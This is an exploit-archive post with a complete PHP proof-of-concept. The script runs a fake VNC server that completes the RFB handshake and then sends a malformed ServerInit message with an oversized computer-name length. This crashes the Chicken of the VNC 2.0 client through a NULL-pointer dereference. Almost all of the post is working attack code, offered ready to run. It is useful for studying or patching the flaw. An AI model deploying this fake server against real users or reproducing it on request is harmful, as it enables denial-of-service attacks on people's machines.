Chicken of the VNC 2.0 (NULL-pointer) Remote Denial of Service Exploit

Feb 02 2007 23:56:26
Source: ace

<?
$port = "5900";

$BadServerInit=
"\x04\x00". // fb-width
"\x03\x00".

// fb-hight
"\x20".

// bits per pixel
"\x18".

// depth
"\x00".

// big-endian flag
"\x01".

// true-color flag
"\x00\xff\x00\xff\x00\xff".

// r-g-b max
"\x10\x08\x00". // r-g-b shift
"\x00\x00\x00".

// padding
"\xff\xff\xff\xff".

// computer-name size
"DIE_PLZ"; // computer-name

$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007 poplix [@] papuasia.org listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
if(substr($i,0,6) == "RFB 00") break;

print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024))
if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);

socket_close($cotv);

socket_close($ser);

print "done\n";
?>
.

» full story @ source-link: ace

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